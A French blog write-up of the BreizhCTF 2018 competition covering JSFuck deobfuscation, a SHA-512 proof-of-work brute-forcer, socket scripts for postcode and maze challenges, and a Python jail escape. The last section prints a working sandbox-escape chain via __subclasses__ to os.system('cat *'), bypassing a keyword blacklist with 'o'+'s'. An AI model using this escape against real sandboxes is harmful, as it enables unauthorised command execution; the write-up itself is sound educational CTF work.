quentin.dufour.io/_posts/2018-04-22-bzhctf18.md
2021-07-14 17:13:17 +02:00

424 lines
15 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
layout: post
slug: write-up-breizhctf-2018
status: published
sitemap: true
title: Write-Up BreizhCTF 2018
description: Garanti 100% sans Go
category: securite
tags:
---
Le BreizhCTF est une compétition autour de la sécurité, qui a lieu à Rennes tous les ans, où des équipes de 5 personnes se retrouvent face à un code obscurci, des binaires à reverse, des injections diverses et variées... tout ça pour trouver des *flags* et marquer un maximum de points.
L'édition 2018 s'est tenue durant la nuit du 20 au 21 avril dans le hall de l'université de Rennes 1. Vous pouvez trouver la vidéo de l'évènement sur [Vimeo](https://vimeo.com/265870042). L'évènement s'est bien terminé pour notre équipe puisque nous avons fini 7<sup>e</sup> (équipe ~).
[![scoreboard bzhctf](/assets/images/posts/bzhctf18-scoreboard.jpg)](/assets/images/posts/bzhctf18-scoreboard.jpg)
C'est donc l'occasion pour ma part de faire un compte-rendu des challenges sur lesquels j'ai travaillés.
Mais avant de commencer, les autres write-ups de notre équipe sont disponibles ici :
* [Trace Me, BabyAPK, Cryptonik et Desprecitor](https://blog.tclaverie.eu/posts/breizh-ctf---write-ups/) par Tristan
* [Diskcrypt, Use the luck force, Chinoiseries, Diffie-Failman - strike back](https://blog.lesterpig.com/post/breizhctf-2k18-write-up/) par Loïck
## Baby JS
Pour ce challenge, on récupérait un texte inconnu et un fichier javascript [baby.js](/assets/code/bzhctf18-baby.js) qui avait l'air bien obscurci.
En écrivant ce write-up, je me rends compte qu'il n'a pas été obscurci à la main mais à l'aide de l'outil [JSFuck](http://www.jsfuck.com/) (merci [Tristan](https://tclaverie.eu/)).
Voilà à quoi ressemble du code après passage dans JSFuck :
```javascript
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])...
```
Le détail de l'implémentation se trouve sur [le README du projet github de JSFuck](https://github.com/aemkei/jsfuck).
Pensant que ce JS a été obscurci spécialement pour l'évènement, je me suis mis en quête d'un moyen de le désobscurcir à la main.
Sans pour autant complètement comprendre pourquoi, il apparait que :
1. En enlevant la première déclaration de tableau (`[]`)
2. En enlevant l'appel à la fonction tout à la fin de la ligne (`()`)
3. En stockant ce qui reste dans une variable (`let a = `)
Ce qui ressemble à ça :
```javascript
let a = [(![]+[])[+[]]+...
console.log(a[0])
```
On obtient alors la fonction suivante :
```javascript
function breizHash(string, method) {
if (!('ENCRYPT' == method || 'DECRYPT' == method)) {
method = 'ENCRYPT';
}
if ('ENCRYPT' == method) {
var output = '';
for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
charCode = string.charCodeAt(x);
if (128 > charCode) {
charCode += 128;
} else if (127 < charCode) {
charCode -= 128;
}
charCode = 255 - charCode;
hexCode = charCode.toString(16);
if (2 > hexCode.length) {
hexCode = '0' + hexCode;
}
output += hexCode;
}
return output;
}
}
```
Fonction qui manque définitivement d'une partie `DECRYPT`. On peut réécrire cette partie en refaisant les étapes dans le sens inverse :
```javascript
if ('DECRYPT' == method) {
var output = '';
for (var i = 0; i < string.length; i+=2) {
var hexCode = Buffer.from(string[i] + string[i+1], 'hex')[0];
var charCode = 255 - hexCode
if (128 > charCode) {
charCode += 128;
} else if (127 < charCode) {
charCode -= 128;
}
output += String.fromCharCode(charCode)
}
return output
}
```
Il suffit alors d'appeler la fonction breizHash avec le message encodé pour obtenir le flag.
```javascript
console.log(breizHash("3d25373c2b39044f1d390a4a1c4b484e4f11204e4a20114f48204a4c3c0a0d16480620084c131c4f124c200b4f20352c20084f0d131b02","DECRYPT"));
```
Ce qui nous donne le flag suivant :
```
BZHCTF{0bFu5c4710n_15_n07_53Curi7y_w3lc0m3_t0_JS_w0rld}
```
## Breizh Coin Miner
Pour ce challenge, l'objectif est de trouver des valeurs de départ dont le hash sha512 commence par `1337`.
C'est le principe du proof-of-work utilisé par Bitcoin. La seule façon connue à ce jour est d'essayer plein de valeurs de départ aléatoires, les hasher et regarder si le hash obtenu commence par `1337`.
Pour la complexité demandée, un simple programme en javascript suffit. Pour les valeurs aléatoires, je récupère 100 octets depuis `/dev/urandom` que j'encode en base64.
C'est cette chaîne de caractères en base64 que je vais hasher.
En effet, pour valider les résultats, il est nécessaire de communiquer avec le serveur en utilisant un protocole texte : si jamais la valeur générée contient un byte interprété comme un retour à la ligne, mon résultat sera tronqué.
En utilisant des chaînes en base64, je suis sûr de ne pas avoir de retour à la ligne.
Le programme final :
```javascript
const crypto = require('crypto');
const RandBytes = new require('randbytes');
const randomSource = RandBytes.urandom.getInstance();
function iterate() {
return new Promise(function(resolve, reject) {
randomSource.getRandomBytes(100, function (buff) {
let gen = buff.toString('base64');
const hash = crypto.createHash('sha512');
hash.update(gen);
const res = hash.digest('hex')
if (res.substring(0,4) == "1337") {
console.log(gen);
}
resolve();
});
});
}
async function loop() {
while(true) {
await iterate();
}
}
loop();
```
Pour s'exécuter, il faut installer le paquet `randbytes`.
```
npm install randbytes
```
Ensuite, il suffit d'exécuter le script, de récupérer 42 valeurs et les envoyer au serveur.
```
node index.js
```
En échange, le serveur retourne le flag (que je n'ai pas noté).
## Breizh Kartenn
Le challenge consistait à renvoyer le nom de la ville correspondant au code postal fourni. Il était plutôt buggé car il avait un comportement indéfini quand plusieurs villes avaient le même code postal.
En effet, il acceptait uniquement une seule des villes pour un code postal donné mais sans règle claire.
À cela s'ajoute qu'en fonction de la couleur du texte envoyé, il fallait répondre un texte différent.
Si le texte de la question était vert, il fallait renvoyer `YA! Me gwel <nom de la ville> :)`, si il était rouge il fallait renvoyer `NANN! Me ne gwel ket <nom de la ville> :/`.
Pour ce qui est de la couleur du texte, il s'agit de codes spéciaux interprétés par les émulateurs de terminaux.
Pour faire un essai :
```
echo -e "\e[92m vert \e[91m rouge \e[0m"
```
Ce sont donc ces caractères que l'on va chercher pour connaître la couleur du texte. Si vous voulez en savoir plus sur la couleur dans les terminaux, je vous recommande la lecture de [Bash tips: Colors and formatting (ANSI/VT100 Control sequences)](https://misc.flogisoft.com/bash/tip_colors_and_formatting).
Étant donné que l'on doit répondre à un service TCP avec un protocole texte, j'ai du utiliser la bibliothèque socket de python également.
Cependant, faisant face à un protocole texte principalement fait pour être utilisé par un humain, il est difficile de savoir combien d'octets il faut lire avant d'avoir tout le message.
Pour ma part, je me suis basé sur la présence du prompt ou de certains mots clés dans le buffer.
La correspondance ville-code postal a été récupérée depuis un site internet pointé par le challenge. J'ai converti le tout en CSV :
```csv
Yffiniac,22120
Vitré,35500
Vezin-le-Coquet,35132
Vern-sur-Seiche,35770
Vannes,56000
Trégunc,29910
Trégueux,22950
Thorigné-Fouillard,35235
Theix-Noyalo,56450
Séné,56860
...
```
Enfin le code python consistait à mettre en place toutes les solutions évoquées précédemment :
```python
import csv, socket, re
def read_until(st, token):
data = b''
while token not in data and b'BZHCTF' not in data and b'bzhctf' not in data and b'KENAVO' not in data:
data += st.recv(8096)
return data
mes_villes = {}
with open('villes-code-postaux.csv', newline='') as csvfile:
csv_reader = csv.reader(csvfile, delimiter=',', quotechar='|')
for row in csv_reader:
mes_villes[row[1]] = row[0]
st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(("148.60.87.243", 9400))
msg = read_until(st, b'<ENTER>')
print(msg.decode('utf-8'))
st.send(b'\n')
while True:
msg = read_until(st, b'>>')
print(msg.decode('utf-8'))
if b'bzhctf' in msg or b'BZHCTF' in msg or b'KENAVO' in msg:
break
vert = b'\x1b[92m' in msg
rouge = b'\x1b[91m' in msg
msg = msg.decode('utf-8')
postcode = re.search(r"(\d+)\?", msg).group(1)
reponse = ""
if vert:
reponse = "YA! Me gwel "+mes_villes[postcode]+" :)\n"
else:
reponse = "NANN! Me ne gwel ket "+mes_villes[postcode]+" :/\n"
st.send(bytes(reponse, 'utf-8'))
print(reponse)
```
Au bout d'un certain nombre de bonnes réponses, on obtient le flag (que je n'ai pas noté).
## Breizh Path
Tout comme le challenge précédent, BreizhPath nécessite d'interagir avec un protocole texte relativement pratique pour un humain mais pas nécessairement facile à automatiser.
Certaines parties du texte sont colorées, ajoutant à la difficulté.
Le but de ce challenge est de trouver le chemin le plus court entre deux points d'une carte représentée par un quadrillage possédant des murs.
Il nous faut donc un algorithme de "path finding", on peut citer entre autre Breadth First Search, Dijkstra ou encore A\*. Pour plus d'informations sur ces algorithmes, je recommande [Introduction to A\*](https://www.redblobgames.com/pathfinding/a-star/introduction.html).
Pour gagner du temps, on peut récupérer l'implémentation python sur [la page dédiée](https://www.redblobgames.com/pathfinding/a-star/implementation.html#python).
Ensuite il nous reste à récupérer le labyrinthe depuis le socket, le stocker dans un format de donnée compatible avec notre implémentation, puis récupérer le résultat et le convertir au format attendu.
Voilà à quoi pouvait ressembler une carte :
```
- - - - - - - - - -
- - - - - - - - - -
K B - - - - - - - -
- B B B - B B B - -
- B B - B B B B - -
- B B B B S B B B -
B B B B B B B - - -
B B B B B B - - - -
B B - - B - - - - -
B B - - - - - - - -
```
Il faut donc trouver le chemin le plus court de S à K. Dans ce cas, il fallait aller 4 fois à gauche puis 3 fois en haut puis 1 fois à gauche.
On nous dit que :
* haut = `i`
* bas = `k`
* gauche = `j`
* droite = `l`
La réponse attendue est donc `jjjjiiij`.
Pour l'implementation, j'ai utilisé Dijkstra, mais A* aurait été suffisant et aurait nécessité moins de ressources.
On suppose que le fichier [implementation.py](https://www.redblobgames.com/pathfinding/a-star/implementation.py) contenant A\* et Dijkstra fourni par Red Blob Games se trouve dans le même dossier que notre solution.
```python
from implementation import GridWithWeights, dijkstra_search, reconstruct_path
import sys, socket
st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(("148.60.87.243", 9500))
data = ""
while "<ENTER>" not in data:
data = st.recv(200000).decode("utf-8")
print(data)
st.send(b'\n')
def convert_path_to_relative_moves(p):
if len(p) < 2:
return ''
dx = p[0][0] - p[1][0]
dy = p[0][1] - p[1][1]
if dx < 0: # right
return 'l'+convert_path_to_relative_moves(p[1:])
elif dx > 0: # left
return 'j'+convert_path_to_relative_moves(p[1:])
elif dy < 0: # bottom
return 'k'+convert_path_to_relative_moves(p[1:])
elif dy > 0: # up
return 'i'+convert_path_to_relative_moves(p[1:])
while True:
# get input
data = b''
while b'New path to find' not in data and b'Out of the Grid' not in data:
data += st.recv(8096)
data = data.decode("utf-8").strip()
print(data)
if "No next step" in data:
st.close()
sys.exit(1)
# parse input
x, y, walls, weights, k, s = 0, 0, [], {}, None, None
for line in data.split("\n"):
if "STEP" in line or "New path":
continue
line = line.split()
if len(line) < 1:
continue
x = 0
while x < len(line):
if '-' in line[x]:
walls.append((x,y))
else:
if 'K' in line[x]:
k = (x, y)
elif 'S' in line[x]:
s = (x, y)
weights[(x,y)] = 1
x += 1
y += 1
# create data structure
diagram5 = GridWithWeights(x, y)
diagram5.walls = walls
diagram5.weights = weights
# compute path
came_from, cost_so_far = dijkstra_search(diagram5, s, k)
path = reconstruct_path(came_from, s, k)
answer = convert_path_to_relative_moves(path)
print(answer)
st.send(bytes(answer+"\n", "utf-8"))
s.close()
```
Ce qui permet d'obtenir le flag :
```
BZHCTF{1_w45_br0k3_bu7_n0_m0r3}
```
## Cuvée d'exception
Une fois connecté à ce challenge en telnet, on était dans une jail python.
On nous demandait de déclencher 35 exceptions Python différentes. Bien entendu, impossible de lever ses propres exceptions.
J'ai commencé par essayer ce qui me passait par la tête :
```python
throw
throw "e"
5/0
5[5]
[][3]
{}['t']a
e
```
Mais impossible d'en trouver d'autres.
On a donc décidé de voir s'il n'était pas possible de sortir de la jail.
Notre point de départ était l'article [BreizhCTF 2016 Write-Up PyJail 1, 2, 3](https://securite.intrinsec.com/2016/05/17/breizhctf-2016-write-up-pyjail-1-2-3/) d'Intrinsec.
Malheureusement pas de clé `_module` dans dans la classe `warnings.catch_warnings`.
En cherchant, [Maximilien](http://mricher.fr/) a trouvé un article nommé [Python Sandbox Escape](http://blog.orleven.com/2016/10/27/python-sandbox-excape/) (en chinois !) qui nous a permis de trouver l'inspiration.
Nous avons finalement trouvé une variable qui contenait le module `os` qui nous a permis d'exécuter des commandes et, finalement, de lire le flag.
La jail possède une liste noire de mots clés, dont `os`. Il existe plusieurs solutions pour contourner cette limitation quand il s'agit d'une chaine de caractère, comme une concaténation : `'o'+'s'` ou encore en utilisant les codes ASCII `'\x6F\x73'`.
Finalement, la ligne suivante nous a permis de lire le flag :
```python
print ()\
.__class__ \
.__base__ \
.__subclasses__()[59] \
.__init__ \
.func_globals['linecache'] \
.__dict__['o'+'s'] \
.__dict__['system']('cat *')
```
Ce qui permet d'obtenir le flag :
```
BZHCTF{y0u_kn0w_by_n0w_4_l177l3_b17_m0r3_4b0u7_d1ff3r3n7_py7h0n_exceptions_4nd_m4yb3_m0r3}
```
Et voilà, c'est tout !